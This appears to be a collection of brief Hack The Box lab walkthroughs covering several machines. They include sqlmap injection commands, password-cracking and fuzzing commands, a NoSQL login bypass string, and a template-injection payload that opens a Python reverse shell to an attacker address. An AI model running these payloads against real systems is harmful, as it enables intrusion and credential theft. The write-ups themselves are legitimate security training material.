I open the binary with ghidra and there is a if else situation and We convert hex value to ascii so Therefore I find a flag.

Flag: HTB{br0k3n_4p4rt0..n3ver_t0_b3_r3p4lr3d}
Hack The Box
I open the binary with ghidra and there is a if else situation and We convert hex value to ascii so Therefore I find a flag.
Flag: HTB{br0k3n_4p4rt0..n3ver_t0_b3_r3p4lr3d}
I scan ports with nmap.
I look the website that is made by CuteNews and I find a exploit to get shell.
https://www.exploit-db.com/exploits/48800
After download the exploit. I run the exploit and I get the shell but reverse shell is more confortable so I get the reverse shell.
I find a some information that is encoded with base64 under the users directory. And I open with the cat command.
cat *.php
I decode the encoded string and crack the hash.
YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
password:e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
I change to paul user.
I search vulnerabilities. Although It takes a lot but I don’t find any information about vulnerability so I look the authorized_key about paul and key is the same nadav. I change Nadav via ssh.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
After the ssh login with paul. I run the linpeas and linpeas find a usbcreator vulnerability. When I abuse the vulnerability, It was not working I try in the nadav user.
https://www.exploit-db.com/exploits/36820
I scan with nmap tool.
I add the domain and his ip address into /etc/hosts.
I scan with gobuseter either dns and directory.
I find a vulnerable version of the BookingPress under the http://metapress.htb/events/
I make the same instruction that above image. I have to find nonce and find it so I run the exploit and I get the response.
It may be a sqlinjection and I try it.
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=ad14d8652b&category_id=123&total_service=111" -p total_service --level=5 --risk=3 --dbs
Yess there is a sql vulnerability.
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=ad14d8652b&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog --tables
sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=ad14d8652b&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog -T wp_
users --dump
sqlmap say that where is the result of scaning.
I crack manager of hash with john the ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
I login in the website.
WordPress 5.6.2 has a XXE vulnerability.
https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/
I do the instructions that I show the link.
I upload the vaw file and I get the response.
I decode from base64.
I change the directory. I have look WordPress structure.
I modify my exploit like above the image.
I find ftp credentials. There is a intresting file that I have to look so I download the php file an find a credential.
I connect to ssh. There is a secret file unde the jnelson’s home directory file.
I try to crack PGP Private key and It success.
I execute the command and I am a root.
I scan target machine with nmap tool.
I search directory to find endpoints.
I want to look these endpoints and website redirects. I have to find a vulnerability and I open the burpsuite and intercept the connection.
I click right button and click the do intercept because I want to see and modify redirect response.
website redirect this page when I modify http response header. I register it.
I login the website.
I download the backcp file and unzip. I make a static analysis in the files.
I find a these informations that can be benefical after to use that.
I find a command execution again 🙂 and I try it with burp suite.
I write a reverse shell and get a reverse shell. In the shell I use the credential which I find a file that I download from website to connect mysql database .
I try to crack with hashcat.
I connect the target machine via ssh.
Firstly, I execute ‘sudo -l’ command and I open the access_backup.sh to examine.
Is it possible path vulnerability. I try.
I create a gzip file under the tmp file and I add the tmp file to $PATH variable. When I execute a access_backup.sh. Firstly, bash file search the gzip file at the same directory path.
It works I am a root.
I scan port with nmap tool.
I scan two ports with gobuster. One of them is working that is website which run at 443 port. Scanning take a long time a bit :). I find a interesting file.
When I look the file. There is a credentials.
I find the pfsense at the internet and there may be 2 passwords that it can be.
username: rohit password: pfsense
There isn’t any beneficial information that I can abuse it.
I execute exploit. It works and I am a root as unexpected. 😀
I scan the target machine with nmap tool.
There are two web services.
there is a intresting file at website that is at 80 port. I find a domain name. Name is doctors.htb. I search directory list with gobuster.
I register at the website and login.
I try to ssti for new post but it doesn’t look success.When I see the archive endpoint, it success :).
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
I find a payload to get a shell.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-calling-popen-without-guessing-the-offset
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
After I get a shell, I execute id command in the shell.
What is adm? I search on the internet.
I search the clue under log files. Perfect !!! I find a password for shaun.
I change a user.
On 8089 port is splunkd. I find a vulnerability about this. and there is a vulnerability that provide privesc.
Credential is required. And I have a credentials but I don’t know whatever execute or not. Yes I try credetentials for authentication. Credential is correct.
I execute payload. Finally I can read a root.txt 🙂
It ıs unstable machine that I have ever seen in the HTB. It is very hard for me and takes over 5 hours.
Nmap scan result.
I scan with gobuster for DNS searching. Gobuster finds a subdomain.
I try sql Injection attack at the website. It success
I try to execute command injection attack.
I upload a php-reverse-shell.php with wget.
I write http://admin.cronos.htb/php-reverse-shell.php at the web browser. Finally I get the shell.
I execute linpeas and linpeas show the vulnerability that cause privesc.
I upload php-reverse-shell that is changed listen port. and change with artisan.
I scan to the target machine with nmap.
I search about redis. What is this? I find benefical information about redis in the hacktricks.
https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
I try to do like this.
Firstly I create id_rsa and I cpoy the id_rsa.pub to spaced_key.txt. After I do above the instructions I send key to redis database.
So I connect to target machine via ssh.
I execute linpeas.
I find intresting file. It includes a certificate and try to crack password.
I try to connect these credentials but it does not successs.
I change user in the redis.
There is a vulnerability webmin 1.910. Before find credentials I find the exploit but I don’t have any credentials.
I scan the target ip with nmap tool.
There are two open ports. I run gobuster tool to find directory.
found directory is not working. I decide to fuzzing for subdomain.
wfuzz -u http://10.10.11.180 -H "Host: FUZZ.shoppy.htb" -w /usr/share/wordlists/Seclists-2023.2/Discovery/DNS/bitquark-subdomain-top1000000.txt
I do some changing for my command becaues output show every results.
wfuzz -u http://10.10.11.180 -H "Host: FUZZ.shoppy.htb" -w /usr/share/wordlists/Seclists-2023.2/Discovery/DNS/bitquark-subdomain-top1000000.txt -hh 169
I find one subdomain
mattermost
Oppss. I have to find a credential to login or I have to find another way.
I back to Shoppy login page and I try to sql Injection after read a blog that it is the below.
https://nullsweep.com/a-nosql-injection-primer-with-mongo/
admin'||'a'=='a
I login 🙂
I click the Search fo users.
I enter the same payload that when I login.
I try to crack hashes and one of them is found.
The hash belongs josh. I login subdomain.
I find credentials to connect the target machine via ssh.
I connect ssh and I find intresting file that it is executable file. When I open the file with cat command password is plaintext.
SampleAccess
I change the user and I execute linpeas.
As I understand that I am in the docker and I find a privesc at GFTObin.